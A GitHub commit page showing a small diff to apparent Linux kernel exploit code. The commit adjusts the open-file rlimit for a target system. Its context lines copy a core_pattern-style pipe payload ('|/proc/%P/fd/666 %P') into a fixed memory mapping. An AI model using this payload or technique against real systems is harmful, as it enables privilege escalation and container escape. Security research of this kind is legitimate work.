Skip to content

Commit

Permalink
fix: change to available rlimit for cos
Browse files Browse the repository at this point in the history
  • Loading branch information
qwerty-theori committed Dec 16, 2024
1 parent f6e7503 commit c5d5365
Showing 1 changed file with 7 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -797,9 +797,13 @@ int main(int argc, void *argv[])

// PHYS_LO_32 = strtoll(argv[1], NULL, 0);
struct rlimit rlim = {
.rlim_cur = 0xf000,
.rlim_max = 0xf000};
setrlimit(RLIMIT_NOFILE, &rlim);
.rlim_cur = 4096,
.rlim_max = 4096};
if(setrlimit(RLIMIT_NOFILE, &rlim) < 0)
{
perror("setrlimit failed");
exit(EXIT_FAILURE);
}

targetstr = (char *)mmap(0x12340000, 0x100, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
strcpy(targetstr, "|/proc/%P/fd/666 %P");
Expand Down

0 comments on commit c5d5365

Please sign in to comment.